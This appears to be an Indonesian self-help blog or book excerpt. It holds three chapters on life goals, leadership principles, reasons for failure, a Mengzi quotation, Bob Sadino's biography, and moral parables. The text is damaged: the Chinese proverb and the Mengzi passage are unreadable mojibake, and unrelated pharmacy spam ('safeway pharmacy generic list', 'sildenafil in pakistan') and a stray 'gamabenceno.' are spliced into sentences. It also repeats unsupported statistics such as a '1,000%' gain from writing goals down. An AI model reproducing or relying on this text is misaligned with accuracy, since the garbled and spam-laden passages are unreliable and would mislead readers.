INSPIRASI DAN PANDANGAN HIDUP a�� Bab 8: Pemahaman Terhadap Kebenaran

 

Bab 8:

Pemahaman Terhadap Kebenaran

 

Dapatkah kita berhenti sejenak dan bertanya dalam hati, apa yang kita cari dalam kehidupan ini? Apa yang menjadi tujuan hidup kita? Apakah ada jalan bahagia yang bisa kita pilih?

Di dunia ini ada dua jalan yang dapat kita pilih, surga dan neraka. Jalan  neraka biasa kita sebut sebagai jalan yang tidak benar atau jalan kotor. Jika kita memilih jalan ini akan memuaskan jasmani kearah negatif, bisa membuat usia lebih singkat, sakit-sakitan, memuaskan diri kita dengan mengembangkan nafsu dunia, makan berlebihan, berjudi, mabuk-mabukan, madon, madat yang merusak rohani dan menggiring ke arah jalan yang kotor, tapi mungkin juga orang yang dirinya merasa berbahagia karena hidup bagaikan raja, ditakuti banyak orang, menentang pandangan saya ini. didalam tulisan saya tidak menganjurkan kehidupan demikian, karena kenyataan yang pernah saya lihat dan saya alami jika kita pilih jalan neraka, didalam lingkungan family maupun teman, banyak contoh membuktikan, kehidupan mereka banyak yang sengsara saat menginjak usia 40 an. Sedangkan jalan ke surga, biasa disebut jalan yang benar. Jalan ke surga sering kita dengar dari orang tua, memuaskan jasmani ke arah positif, membangun rohani kita ke jalan yang suci dan mulia; dengan teratur berolah-raga, makan sebelum lapar dan berhenti sebelum kenyang—artinya makanlah secukupnya, berilah badan kita dengan makanan yang sehat dan bergizi.

Tuntutlah ilmu kebenaran sedalam-dalamnya.

Setiap manusia harus mengenali dirinya sendiri, supaya dapat mengenal jalan yang akan ditempuhnya dikemudian hari. Saat mata kita terbuka, kita melihat dunia diluar, cobalah kita sering melakukan, memejamkan mata sejenak, baik saat kita bersujud dihadapan yang maha kuasa, baik kita sedang meditasi, maupun sebelum kita lelap tidur di ranjang, untuk melihat ke dalam, ke dalam diri kita sendiri, kedalam sampai ke hati nurani kita, apakah kita pernah berbuat sesuatu langkah tindakkan untuk mengurangi sampah didunia ini, yang saya titik beratkan adalah sampah masyarakat. Didunia nyata kita sering mendengar daur ulang limbah, kitapun bisa mendaur ulang sampah masyarakat. Untuk itu kita harus mempersiapkan diri sebaik-baiknya—jasmani maupun rohani, dan membantu orang banyak untuk memperbaiki cara hidupnya.

Kita harus tahu apa tujuan akhir kita

Saat kita masih usia kanak2, tujuan akhir yang ingin dicapai pendek2, setelah remaja, tujuan yang ingin dikejar mulai agak panjang, setelah dewasa, saat anda mulai berdikari lepas dari keluarga induk yaitu orang tua, tujuan akhir yang ingin dicapai akan lebih panjang lagi. Saya anjurkan tujuan akhir yang kita setting lebih baik sampai kita mendekati ajal. Apa yang akan anda capai saat anda tua dan menuju kembali keasal semula?

Saya pernah berkata kepada anak : “ Nak ayah sudah menginjak hari tua, ayah sangat berterima kasih kepada rakyat Indonesia, karena merekalah, kalian bisa mendapat pendidikan diluar negeri, dan tinggal dilingkungan yang nyaman dan aman. Walaupun sebagian kecil oknum didalam kalangan rakyat berlaku jahat kaada kita, janganlah mendendam, tetaplah terima kasih, karena mereka juga, kalian bisa mendapatkan kehidupan yang lebih baik. Sisa umur ayah, ingin dibaktikan ke rakyat Indonesia, karena orang Tionghoa punya pepatah, e??a?�a?�?�?luò guA�   gA�n  artinya, daun (yang tua) itu akan jatuh ke akarnya. Maka saya tetap ingin bekerja dan menulis untuk bisa dibagikan ke rakyat Indonesia.

Jika sudah mengerti tentang tujuan akhir, maka mantaplah  hati kita. Karena hati mantap, maka hidup pun menjadi tenang. Karena hidup tenang, maka bisa berpikir dengan benar. Karena bisa berpikir dengan benar, maka dalam tindakan kita bisa mendapatkan hasil yang baik.

Kita harus menyalakan obor karakter kebenaran setinggi-tingginya untuk menerangi perjalanan hidup kita. Isi kebenaran ini adalah:

  1. Mendekatkan hati kita ke rakyat jelata, dan menjadikan cinta kasih sebagai pelita dalam menangani masalah-masalah dalam kehidupan sehari-hari.
  2. Kita harus mengerti bahwa segala hal ihwal ada awal dan akhirnya. Kita harus mengerti seluk beluk dan sebab musababnya, maka dalam melihat segala permasalahan kita sudah mendekati kebenaran.
  3. Kita juga harus mengerti bahwa segala hal ihwal itu saling berhubungan dan saling kait mengait. Jika kita dapat mengerti hal ini, dan bisa menguraikan dengan benar tali temali hubungan diantaranya, maka dalam pemecahan masalah kita sudah mendekati kebenaran.
  4. Sehubungan dengan hal-hal di atas, bahwa kesejahteraan dan kemakmuran rakyat di sebuah Negara, berhubungan erat dengan keadaan negeri tersebut, jika seorang pemimpin ingin menjunjung moral kebenaran dan membela rakyatnya, ia haruslah mengurus negerinya. Jika ia tidak bisa mengurus negerinya dengan baik, maka ia bukanlah pemimpin yang baik. Pemimpin yang baik harus bisa memegang teguh komitmennya, apa yang pernah dijanjikan harus direalisasikan. Jika ingin mengurus negerinya dengan baik, maka ia harus bisa mengurus keluarganya dengan baik. Sebab jika mengurus keluarga saja tidak benar, bagaimana ia dapat memimpin negerinya? Untuk bisa mengurus keluarga dengan baik, ia harus bisa memperbaiki perilakunya. Untuk itu, manusia harus meluruskan niat hatinya. Dan untuk mencapai tujuan ini, setiap orang harus tulus dan jujur. Agar dapat menjadi tulus dan jujur, orang harus punya pengetahuan—yaitu pengetahuan terhadap masalah yang terkait.

Dalam hal ini berarti kita harus mengutamakan kesehatan rohani, yaitu dengan memperbaiki karakter. Kemudian kita bisa membangun keluarga yang baik, membangun keluarga besar, suku, perusahaan, bahkan negeri.

 

5 hal yang perlu diketahui dalam kepemimpinan :

  1. REFFECTIVE
  • Know what I want and how I feel (tahu apa yang saya inginkan dan rasakan).
  • Be honest with myself (jujur dengan diri saya).
  • Lend an ear to the voice of my own conscience (meminjamkan telinga untuk suara hati nurani saya sendiri).
  • Do not be afraid to lose (tidak takut kehilangan).
  • Have courage to take action and to change (memiliki keberanian untuk mengambil tindakan dan untuk berubah).
  • Be reflective and understand what I really want (jadilah reflektif dan memahami apa yang saya inginkan).
  • Be humble and open to growth and change (jadilah rendah hati dan terbuka untuk pertumbuhan serta perubahan).

 

 

  1. FOCUS

gamabenceno.

  • Organize and execute work duties around priorities (mengatur dan melaksanakan tugas bekerja dengan prioritas).
  • Know where we are heading and what we want the end to be (tahu dimana kita menuju dan pada akhirnya kita ingin menjadi seperti apa).
  • Know where is our direction, our vision and our goal (tahu dimana arah kami, visi dan tujuan kami).
  • Know how to prioritize our work and time (tahu bagaimana memprioritaskan pekerjaan dan waktu).
  • Realize that managing time means managing self (sadarilah bahwa mengelola waktu berarti mengatur diri sendiri).
  • Create small wins that will give us confidence and a sense of focus (membuat kemenangan kecil yang akan memberi kami kepercayaan diri dan rasa fokus).

 

 

  1. EMPATHY
  • Understand things from another’s frame of reference (memahami hal-hal dari acuan frame lain).
  • Listen with intent to understand what the other person has to say or express (dengarkan dengan maksud untuk memahami apa yang orang lain katakan atau ungkapkan).
  • Maintain objectivity (menjaga objektivitas).
  • Be patient and caring (bersabarlah dan peduli).
  • Use a third eye to observe non-verbal communication (gunakan mata ketiga untuk mengamati komunikasi non-verbal).
  • Know that action always speak louder than words (tahu bahwa tindakan selalu berbicara lebih keras daripada kata-kata).

 

 

  1. COLLABORATIVE
  • Trust people in order to collaborate (mempercayai orang lain untuk berkolaborasi).
  • Identify mutual goals (mengidentifikasi tujuan bersama).
  • Respect individual differences (menghormati perbedaan individu).
  • Communicate effectively to increase mutual understanding and trust (berkomunikasi secara efektif untuk meningkatkan saling pengertian dan percaya).
  • Be ethical and keep to promises in order to achieve collaboration (jadilah etis dan menjaga janji dalam rangka mencapai kolaborasi).

 

  1. DAO
  • Have self-renewal to achieve a sense of balance (memiliki pembaruan diri untuk mencapai keseimbangan).
  • Be open to new ideas and new way of doing things (bersikaplah terbuka terhadap ide-ide baru dan cara baru dalam melakukan sesuatu).
  • Try to maintain youth (cobalah untuk mempertahankan anak muda).
  • Be open to learning and growth (bersikaplah terbuka untuk belajar dan bertumbuh).
  • Understand that dilemma can be a source of energy and creativity. See things in “this and that” not “this or that” (memahami bahwa dilemma dapat menjadi sumber energi dan kreativitas. Melihat hal-hal dalam “ini dan itu” tidak “ini atau itu”). 

INSPIRASI DAN PANDANGAN HIDUP a�� Bab 7: Mengapa Banyak Orang Gagal?

 

Bab 7:

Mengapa Banyak Orang Gagal?

Mendalami pemikiran kita

Orang-orang yang gagal dibagi menjadi dua; yaitu mereka yang berpikir gagal, Padahal tidak pernah melakukannya, dan mereka yang melakukan kegagalan, dan tak pernah memikirkannya.

(John Charles Salak)

Pada umumnya, semua orang ingin sukses. Namun hasil statistik dengan jelas menunjukkan bahwa jumlah orang sukses di dunia hanya kurang dari 5%.

            Mengapa demikian? Banyak penyebabnya, kegagalan dibawah ini saya rangkumkan pendapat orang mengenai kegagalan, saya petikan 14 butir alasan yang pokok yang saya dipetik dari banyak sumber;

  1.  “Tidak ada tujuan atau goal yang tepat, tidak tahu apa yang diinginkan dalam hidup.”
  2. Tidak pernah mencatat tujuan—walaupun ia memiliki tujuan, tapi hanya disimpan di dalam kepala dan tidak pernah dituliskan di atas kertas atau Goal Visualisation (Visualisasi Tujuan). Dengan penjelasan berikut:

Untuk menjadi efektif, tujuan Anda harus dituangkan ke dalam tulisan. Kadang orang ragu untuk menulis tujuan mereka di kertas. Mereka berkata, “Bagaimana jika saya tidak dapat mencapainya?” Anda tidak perlu khawatir. Tindakan menulis tujuan Anda meningkatkan kemungkinan untuk mencapainya hingga 1.000%—10 kali—dan biasanya lebih cepat daripada yang Anda harapkan. Meskipun Anda tidak mencapai tujuan Anda pada waktu yang telah ditentukan, akan lebih baik bagi Anda untuk menulis tujuan Anda daripada tidak mempunyai tujuan sama sekali. (The Psychology of Selling, Bryan Tracy, hal.48-49, Bhuana Ilmu Populer, 2007.)

  1. Tidak bertanggungjawab atas tindakannya, selalu “mencari alasan” atas kegagalan yang terjadi.
  2. Tidak ada tindakan yang efektif-banyak rencana, namun semuanya hanya sebatas omongan (tanpa tindakan), pesimitis tidak akan mendapatkan hasil.  Ingat, hanya tindakan yang bisa membawa hasil.
  3. Pembatasan diri (Self Limitation)-mengangap tidak berhak sukses, karena terlalu tua, tidak memiliki modal, bawaan keluarga, atau tempat tidak memungkinkan.
  4. Malas, tidak mau bekerja keras, berusaha untuk menggunakan cara paling mudah, cepat dan hemat waktu, tetapi mendapat uang yang paling banyak.
  5. Berteman dengan teman-teman yang “salah”- mereka yang berpikiran negatif, bersikap buruk, dan hidup di lingkungan orang-orang yang gagal. Teman yang gagal tidak mungkin menunjukkan jalan menuju sukses.
  6. Kurang dalam pengaturan waktu, tidak ada konsep  waktu, selalu membuang waktu, tidak melakukan perkerjaan yang produktif dengan lebih efektif, salah prioritas.
  7. Salah memakai strategi atau cara bertindak, tidak mempelajari strategi yang paling baik.  Mungkin berusaha keras, tapi hasilnya tetap nol.
  8. Kurang pengembangan diri: jarang membaca buku, mendengarkan kaset, mengikuti seminar, dan mengumpulkan informasi baru,dll. Tanpa informasi yang tepat, tidak mungkin menghasilkan strategi yang tepat.
  9. Tidak ada kesungguhan atau komitmen untuk sukses, sehingga mudah putus asa atau menyerah saat menghadapi rintangan atau hambatan.
  10. Kurang menggunakan kekuatan pikiran bawah sadar.  Mereka kurang percaya akan kekuatan pikiran bawah sadar kalau hasil riil-nya belum kelihatan dalam waktu yang singkat, lalu mulai tidak memercayai kekuatan itu dan putus asa.
  11. Kurangnya hubungan antar manusia yang baik. Terlalu self centered, tidak suka berbaur dengan orang lain atau berkenalan dengan teman-teman baru, sehngga tidak ada orang yang ingin membantunya.
  12. Sombong dan menganggap diri sendiri paling hebat dan berhenti belajar.

Saya tidak memberikan komentar atas 14 alasan ini, tinggal anda cari apa alasan kegagalan anda? Apakah  ada dalam 14 point itu, tapi saya yakin jika anda bisa betul-betul mempelajari dan memahami apa yang saya jelaskan dibawah ini, masalah utama penyebab dari kegagalan bisa ditemukan dan anda bisa menjadi orang sukses.

Dibawah ini saya petikan(tidak seluruhnya) ajaran MengZi disertai dengan terjemahan bebas dari saya:

Note: jika anda tidak mengerti bahasa Mandarin, lewati saja langsung ke bahasa Indonesia. Jika anda mengerti bahkan ahli, tolong koreksi terjemahan saya, terima kasih.

a�Sa�Ya�?·a�Sa�?a?�a��         Meng zC?  gào zC? xià

e??a?�a?Zc�Za?�a?�a?�i??       shùn fA? quCZn mC� zhA� zhA?ng

a��e??a??a?Zc�?c��a?�a?�i??    shuì jC� bCZn zhùzhA� zhA?ng

e?�e�?a??a?Ze�?c�?a?�a?�i??    jiA?o jC� yán zhA� zhA?ng

c�?a��a??a??a?Za?�i??           guCZn jC� shì     

a��a?�?��a??a?Z?��i??           sA�n shA� ÁojC� hCZi

c�?e�?a?sa??a?Za?�a��           bCZi lC? xA� jC� shì

a��a��e�?a��a��a?Z???a??a?Y   tiA?n jiA?ng jiàng rèn shì rén yA�

a?�a�?e��a��a??a?�               xiA?n kC� xA�n zhì

aS?a��c��e??                     láo jA�n gC�

e??a��a?�e��                    è tC? fA�

c�?a??a��e?�                    kA?ng shA�n

e???��a?�a��?��a??             háng luàn suC� wéi

aS?a??a???��,                   dòng xA�n rA�n xìng i??

?�?c�Sa��?��a??e??a��         céng suC� néng

Tuhan akan memberikan seseorang tanggung jawab besar di negeri, memberikan gemblengan dan percobaan yang berat sehingga sangat menyakitkan hatinya, sehingga otot-ototnya lelah, membuatnya mengalami kelaparan, sampai kurus kering dan mengosongkan kulit, membuatnya menderita kemiskinan, membuatnya kebingungan dan sering melakukan hal-hal terbalik dengan keinginan, melalui gemblengan dan percobaan itu, membuat ia selalu sadar dan waspada, sehingga watak nya menjadi teguh, menambah segala kepandaian yang tak ia miliki sebelumnya.

Orang sering membuat kesalahan, dan kemudian baru bisa memperbaikinya; kepahit getiran didalam hati, pemikiran yang tersumbat, membuat orang berdaya usaha menanganinya; kesemuanya itu tercermin keuar dari raut muka, dan dari kata-kata yang keluar dari pembicaraan, sehingga kemudian baru dirasakan oleh orang. Didalam negeri, jika tidak ada orang pandai bijaksana yang bisa mempertahankan dan menjalankan hukum dan peraturan dengan keras dan disamping pimpinan (raja/presiden) tidak ada orang bijak dan ahli sebagai penasihat, di luar jika tida ada agresi Negara asing yang bermusuhan, maka negara mudah musnah.

Hal ini menjelaskan, orang menderita, gunda gulana, kecelakaan, bisa membuat orang hidup bertahan, sedangkan kenikmatan kenyamanan membuat orang apatis dan meninggal. Bagi orang yang sukses, tidak ada kamus kata “gagal” karena itu hanya satu cobaan dalam kehidupan, dan sebagai suatu pondasi untuk terus maju kedepan sambil mencari penyebab dan cara untuk mengatasinya. mereka orang sukses yang di desa atau kota kecil mungkin banyak yang tak mengerti tentang “goal” yang diinginkan dalam hidup, saya yakin banyak yang terbengong dan tak tahu apa jawabannya jika kita tanyakan, mereka hanya mengikuti hukum alam yang ada, demi kehidupan harus berjuang, harus usaha dan saya yakin mereka banyak yang tanpa catatan, dan setelah sukses baru memakai orang pintar dan orang pintar mereka gaji untuk menulis dan mencatat. Dibawah ini saya kutipkan cerita Bob Sadino, silakan anda simak maknanya.

Biografi Bob Sadino – Pemilik Kemfood dan Kemchick

Awalnya Bob Sadino punya modal karena  mewarisi seluruh harta kekayaan orang tuanya, beliau habiskan separuh harta warisannya untuk keliling dunia. Di Belanda ia bekerja di Djakarta Lylod di kota Amsterdam dan juga di Hamburg, Jerman. Di Indonesia, Bob Sadino bekerja sebagai karyawan di PT Unilever Indonesia. Bisnis pertama yang ia buka adalah jasa penyewaan mobil, yaitu Mercedes satu-satunya yang ia miliki dengan ia sendiri sebagai sopirnya. Bisnis ini gagal karena kecelakaan, dan tak punya uang untuk memperbaiki kendaraannya. Karena kesadarannya bahwa ia adalah kepala keluarga yang harus menafkahi anak dan istrinya. walaupun tidak punya modal, Om Bob nekad berprofesi sebagai tukang batu. Upahnya saat itu hanya 100 rupiah. Om Bob sangat depresi dengan tekanan kehidupannya.

Selanjutnya atas saran teman lamanya ia berbisnis ternak ayam. Dari ternak ayam, beliau menemukan suatu pemikiran bahwa. “Ayam tak punya akal tetapi tetap bisa mencari makan dan menyambung hidup. Manusia seperti dia yang dikaruniai akal tentunya lebih bisa.”

Karena ulet, gigh dan tekun, dalam waktu satu setengah tahun bisnis peternakannya berkembang pesat. Karena servicenya begitu baik terhadap orang asing, Bob pernah dimaki sebagai “babu orang asing”. Selanjutnya bisnis Bob merambah bisnis swalayan yang diberi nama Kem Chicks dengan pangsa pasar tetap orang asing sekitar Kemang. Om Bob percaya akan filosofi kesuksesan bahwasukses tidaklah diraih secepat kilat seperti membalikkan telapak tetapi harus berproses bahkan harus berhadapan dengan kegagalan demi kegagalan. Perjalanan wirausaha tidak semulus yang dikira. Ia dan istrinya sering jungkir balik memperjuangkan usahanya agar terus maju dan berkembang. “Uang bukanlah nomor satu yang terpenting adalah kemauan, komitmen, berani mencari dan menangkap peluang serta melakukan tindakan.” Begitulah prinsip Bob Sadino.

Om Bob sangat rendah hati menerima pendapat orang, keluwesannya dan kesabarannya dalam melayani dan mendengarkan keluh kesah pelanggan bahkan kritikan terpedas sekalipun Om Bob sangat berbesar hati menerima dan memperbaiki diri dalam pelayanan. Kemudian bisnis merambah ke agribisnis seperti holtikultura, mengelola dan menyediakan sayur-mayur untuk orang asing di Indonesia khususnya Kemang.

Bob memperlakukan karyawan seperti keluarga sendiri. Semua karyawan Kem Chicks harus saling menghargai, atasan menghargai bawahan dan bawahan menghormati atasan. Tidak ada yang utama semua memiliki kekuatan dan fungsi. Bahkan office boy sekalipun sangatlah berjasa, jika tidak ada mereka maka kondisi kantor akan sangat kotor dan tidak nyaman sekali tentunya.

Selain menggeluti bisnis, Om Bob juga sangat religius. Om Bob selalu mendekatkan diri pada Alloh SWT.

Bob Sadino 150309

Kata-Kata Bijak Bob Sadino

Orang pintar biasanya paling banyak harapannya. Bahkan maunya berhasil dalam waktu singkat. Padahal kita tahu semua itu Impossible! 0rang goblok harapannya hanya satu ; hari ini bisa makan!

Orang pintar biasanya banyak ide, bahkan terlalu banyak sehingga tidak satupun yang menjadi kenyataan. Sementara orang ‘goblok’ mungkin hanya punya satu ide, dan satu ide itulah yang menjadi pilihan usahanya.

Orang ‘goblok’ biasanya lebih berani dibanding orang ‘pintar’. Kenapa ??? Karena orang ‘goblok’ sering tidak berpikir panjang atau banyak pertimbangan. Dia nothing to lose. Sebaliknya orang ‘pintar’ terlalu banyak pertimbangan sehingga tidak melangkah-langkah.

Sekolah terbaik adalah sekolah kehidupan, sekolah jalanan, sekolah yang memberikan kebebasan kepada muridnya untuk mengeksplorasi dengan leluasa seluruh potensinya yang ada padanya.

 Orang bodoh sulit mendapat pekerjaan sehingga dia terpaksa buka usaha sendiri. Dalam perjalanan bisnisnya agar semakin sukses dia harus merekrut orang pintar. Alhasil orang bodoh tadi jadi bos nya orang pintar. Orang pintar belajar keras untuk mendapatkan ijazah dan secepat mungkin melamar pekerjaan. Orang bodoh berjuang keras secepatnya mendapatkan uang, agar bisa safeway pharmacy generic list. membayar pelamar kerja.

Semakin goblok seseorang, akan kian banyak ilmu yang diperolehnya. Saya menggoblokkan diri sendiri terlebih dahulu sebelum menggoblokkan orang lain.

Anda berpikir seribu mil, wah pasti terasa jauh. Sedangkan saya tidak pernah berpikir karena hanya melakukan selangkah saja. Ngapain pakai mikir kan hanya selangkah…..

Sebagai penutup, saya tidak membahas dan tidak mau bahas, bahwa ada beberapa orang didunia ini bisa kaya mendadak,  karena judi, lotre, menemukan tambang emas dan lainnya, atau bisa kaya dengan mngandalkan dukun dan ilmu gaib. 

INSPIRASI DAN PANDANGAN HIDUP a�� Bab 6: Menemukan Suara Panggilan Jiwa

INSPIRASI DAN PANDANGAN HIDUP 

Bab 6:

Menemukan Suara Panggilan Jiwa

Mendalami habit kita

Menemukan suara panggilan jiwa Anda untuk selalu berbuat dan memikirkan kepentingan orang banyak, atau kepentingan rakyat jelata dan mengilhami orang lain untuk menemukan suara kemerdekaan jiwa mereka.

Berikut adalah tulisan Stephen R. Covey dalam bukunya The 7 sildenafil in pakistan. Habits of Highly Effective People.

 
 

Kontinum Kematangan

Ketergantungan a��a�?Kemandirian a��a�?Saling ketergantungan.

Contoh  perkembangan manusia dari bayia��a�?dewasa

 

 

 

 

 

 

 

 

 

 

 

 

Kemandirian jauh lebih matang dibandingkan ketergantungan. Kemandirian itu sendiri adalah pencapaian utama. Tetapi kemandirian bukanlah pencapaian yang tertinggi. Mudah untuk melihat bahwa kemandirian jauh lebih matang dibandingkan ketergantungan. Kemandirian itu sendiri adalah pencapaian utama, namun bukanlah pencapaian tertinggi.

Walaupun demikian, paradigma sosial mutakhir menobatkan kemandirian. Kemandirian adalah cita-cita yang diakui oleh banyak individu dan gerakan sosial. Sebagian besar dari materi perbaikan diri memuja kemandirian, seolah-olah komunikasi, kerja kelompok, dan kerja sama memiliki nilai yang lebih rendah.

Namun sebenarnya banyak dari penekanan kita pada kemandirian hanya merupakan reaksi terhadap ketergantungan—terhadap orang lain yang mengendalikan kita, mendefinisikan kita, memanfaatkan, dan memanipulasi kita.

Konsep yang sedikit dimengerti oleh banyak orang tentang kesaling-tergantungan tampak menyerang ketergantungan, sehingga kita melihat banyak orang, sering karena alasan yang egois, meninggalkan perkawinan mereka, meninggalkan anak-anak mereka, dan melepaskan segala macam tanggung jawab sosial—demi kemandirian.

Jenis reaksi yang mengakibatkan orang “melepaskan diri dari belenggu mereka”, “menjadi terbebas”, “menonjolkan diri”, dan “mengerjakan urusan mereka sendiri” sering menyingkapkan ketergantungan yang lebih mendasar yang tidak dapat dihindari, lebih karena bersifat internal ketimbang eksternal—ketergantungan seperti membiarkan kelemahan orang lain merusak kehidupan emosionil kita atau perasaan dijadikan korban oleh orang lain dan kegiatan-kegiatan yang lepas dari kendali kita.

Tentu kita mungkin perlu mengubah keadaan kita. Namun demikian ketergantungan adalah masalah kematangan pribadi yang kecil kaitannya dengan keadaan. Bahkan dengan keadaan yang lebih baik sekalipun, ketidak-matangan dan ketergantungan sering muncul.

Kemandirian sejati dari karakter memberi kekuatan pada kita untuk bertindak dan bukan menjadi sasaran tindakan. Ia membebaskan kita dari ketergantungan kita pada keadaan dan orang lain dan ia merupakan cita-cita yang layak dan memerdekakan kita. Namun, kemandirian bukanlah tujuan tertinggi dalam kehidupan yang efektif.

Ketujuh kebiasaan juga merupakan kebiasaan keefektifan karena di­dasarkan pada paradigma keefektifan yang selaras dengan hukum alam, suatu prinsip yang disebut "Keseimbangan P/KP," dan banyak orang merusak diri mereka sendiri karena melanggarnya. Prinsip ini dapat di­mengerti dengan mudah dengan mengingat label Aesop tentang angsa dan telur emas.

Apakah Anda pernah menerima warisan dari orang tua, keluarga, teman dekat dalam segala bentuk? Ternyata warisan yang pernah kita terima ini adalah salah satu penentu nasib dan keberuntungan dalam kehidupan kita. Mulailah dari sekarang kita waspadai warisan-warisan ini.

Dibawah ini saya petikan cerita dari “buku filsafat kehidupan” yang sudah saya terjemahkan, silakan menikmati.

Takdir, Nasib, dan Keberuntungan

Konon disalah satu kota kecil di kerajaan China tinggal seorang pemuda pencopet. Ia dijuluki pencopet ulung, karena pekerjaannya hanya mencuri dan sukar ditangkap basah. Pada suatu hari, pencopet ini melihat orang berkerumun sedang menanyakan nasib mereka kepada seorang peramal kenamaan, dimana dalam pengembaraan ia mampir ke kota kecil itu.

“Anda akan ada kesempatan menjadi anak angkat raja”, kata peramal itu kepada pencopet. Dengan tertawa geli pencopet itu pergi sambil bergumam: “Peramal apaan itu, sembarangan saja.”

Pada waktu itu jaman peperangan, setiap waktu bisa terjadi perang—baik antara suku, daerah, maupun perebutan kekuasaan negara. Suatu malam gelap gulita, gubuk derita sang pencopet digedor dan pintu dibuka paksa oleh seorang yang luka parah dan minta perlindungan kepada pencopet tersebut. Tidak lama kemudian, sekelompok prajurit menggedor pintu dan menanyakan apakah melihat seseorang yang terluka, dan pencopet tersebut menjawab bahwa ia melihat seseorang lari ke arah jalan, sambil mengarahkan telunjuknya ke jalan kecil di kampung itu. Alhasil orang yang terluka itu selamat, dan setelah menanyakan jelas nama dan alamat rumahnya ia berjanji akan membalas budi kebaikannya, dan akan datang lagi menjemput untuk diangkat jadi anak angkatnya. Dengan tergopoh-gopoh ia meninggalkan gubuk derita itu, lalu lari dan menghilang dalam kegelapan malam.

Beberapa bulan kemudian, kehidupan normal kembali. Sang pencopet juga tetap menjalani profesinya, masalah lalu mulai terlupakan. Pada suatu senja di serambi muka gubuk pencopet sedang bermalas-malasan, ia melihat sekelompok prajurit datang. Dalam ketakutan ia langsung bersembunyi. Prajurit langsung menuju ke rumahnya dan berteriak memanggil-manggil namanya. “Celaka aku pasti mau ditangkap” pikirnya. Tanpa ragu ia melompat pagar dan melarikan diri. Jauh dibelakangnya prajurit terus memanggil namanya. Ia lolos dari prajurit itu, maka hilanglah sudah kesempatan jadi anak angkat raja, karena yang ia tolong itu adalah seorang raja dan prajurit itu adalah utusannya untuk menjemput dan menepati janji akan mengangkat  pencopet itu sebagai anak angkatnya.

Dalam kehidupan kita, berapa banyak orang yang kehilangan kesempatan hanya karena cacat karakternya. Pernah ada seorang karyawan kehilangan kesempatan naik pangkat, karena ia sering main curang dalam pemainan catur. Kalau dalam permainan catur saja suka main curang, bagaimana kalau ia menduduki tempat yang penting? Ada juga orang yang kehilangan kesempatan karena beban mental atas titel “S”nya, jika hanya karena titel “S1” atau “S2” saja orang tidak mau turun ke bawah, bagaimana ia bisa memberikan teladan yang baik kepada bawahannya?

Takdir dan Keberuntungan yang Berkaitan dengan Bank Emosi

            Seorang pemuda miskin, demi mencukupi biaya uang kuliahnya, memasarkan barang dari rumah ke rumah. Karena keinginan untuk dapat mengumpulkan cukup uang secepatnya, maka ia bertekad untuk menghemat dan menebalkan muka minta makanan kepada orang untuk mengisi perutnya.

Pintu rumah diketuknya, terlihat seorang  gadis cilik membukakan pintu. Ia berkata dalam hati, Ya Tuhan, mana ada seorang pemuda perkasa mengemis makanan pada seorang gadis kecil? ” Maka hilanglah keberaniannya. Akhirnya ia hanya meminta segelas air untuk minum. Gadis kecil dapat melihat betapa kelaparan sang pemuda, maka ia berikan segelas air beserta beberapa potong roti. Dengan cepat dilahapnya roti tersebut. Sang gadis kecil diam-diam tertawa melihatnya.

Sehabis makan, dengan perasaan penuh terima kasih ia berkata: “Terima kasih, berapa harga yang harus kubayar?” Dengan tertawa lugu gadis kecil menjawab, ”Tidak usahlah, di rumah kami banyak makanan.” Pemuda itu merasa sangat beruntung mendapatkan perlakuan yang ramah di tempat yang asing itu.

Beberapa tahun kemudian, gadis kecil terserang penyakit yang jarang ditemukan. Banyak dokter tidak sanggup mengobatinya. Keluarga gadis tersebut mendengar di suatu tempat ada seorang dokter yang terkenal, maka mereka segera membawanya ke dokter tersebut. Dalam jangka panjang perawatan dokter yang teliti dan telaten, akhirnya penyakit tersebut dapat disembuhkan.

Saat hendak pulang, seorang perawat memberikan amplop bon. Sang gadis hampir tidak berani membuka amplop tersebut, pikirnya akan bekerja seumur hidup baru bisa bayar ongkos pengobatan tersebut. Namun akhirnya ia membuka juga dan terlihat ada beberapa kata yang tertulis dalam bon tersebut: ”Segelas air minum dan beberapa potong roti sudah cukup untuk membayar seluruh biaya pengobatan ini.” Dengan berlinang air mata, ia mengerti bahwa dokter yang mengobati dan merawatnya adalah pemuda miskin yang pernah ia jumpai.

Apa yang kita dapatkan dari cerita ini? Memberikan bunga rose, wanginya menempel ditangan; Pertolongan tetesan air, dibalas dengan sumber air yang melimpah. Besarnya jasa “Segelas air dan roti” setimpal dengan besarnya harga biaya pengobatan, besarnya nilai dikarenakan perhatian tulus dan kasih sayang terkait terhadap jiwa orang.

         

Kekuatan Kasih Sayang

Dua puluh lima tahun yang lalu, seorang dosen sosiologi pernah membawa seisi kelas mahasiswanya untuk mengadakan survey ke daerah kumuh orang hitam dan melakukan investigasi lingkungan hidup dan latar belakang keluarga 200 laki-laki dewasa disana. Dan ia memberikan kesimpulan penilaian bagi perkembangan hidup mereka yang akan datang. Setiap mahasiswa hampir mendapatkan kesimpulan yang sama, yaitu semua anak-anak di daerah kumuh ini—tak terkecuali, dinyatakan memiliki hari depan yang suram sekali, tidak ada harapan, kehidupannya biasa saja, dsb.

Dua puluh lima tahun kemudian, salah satu dari mahasiswa tersebut menjadi dosen. Lalu, tanpa sengaja ia menemukan arsip laporan ini dalam gudang penyimpanan arsip. Ia tertarik ingin mengetahui kelanjutan hidup dari anak-anak ini. Maka ia memerintahkan muridnya untuk menelusuri kasus ini.

Hasil kesimpulannya adalah bahwa setelah dewasa, anak-anak tersebut, selain 20 orang pindah alamat dan telah meninggal, sisanya 180 orang ada 176 orang mendapatkan pekerjaan yang bagus—malahan sebagian orang memiliki pekerjaan yang sangat bagus, diantaranya ada yang menjadi pengacara, dokter, dan pengusaha.

Sang dosen sangat takjub dan heran. Maka ia memutuskan untuk melakukan penyelidikan lebih mendalam. Ia mengunjungi orang-orang yang dulu pernah ditemuinya, dan bertanya ”Apa yang menyebabkan Anda bisa sukses saat ini?” Jawaban mereka hampir sama semuanya, “Karena saya mendapatkan seorang guru yang baik.”

Dosen tersebut menjumpai guru yang mereka sebut itu. Guru ini sudah tua, tetapi mata dan pendengarannya masih baik. Sang dosen dengan rendah hati ingin belajar dengan cara apa sang guru bisa membawa anak-anak berandalan—yang tanpa harapan ini bisa menjadi orang-orang yang sukses?

Dengan mata yang berkilauan dan penuh dengan welas asih, sambil tersenyum nenek tua menjawab: ”Sebenarnya tidak ada rahasia apa-apa. Saya sangat mencintai anak-anak ini. Dan saya berusaha semaksimal mungkin untuk memberikan pendidikan, pengetahuan, dan kebudayaan. Juga saya memberikan pengertian tentang bagaimana menjadi “orang sukses”.

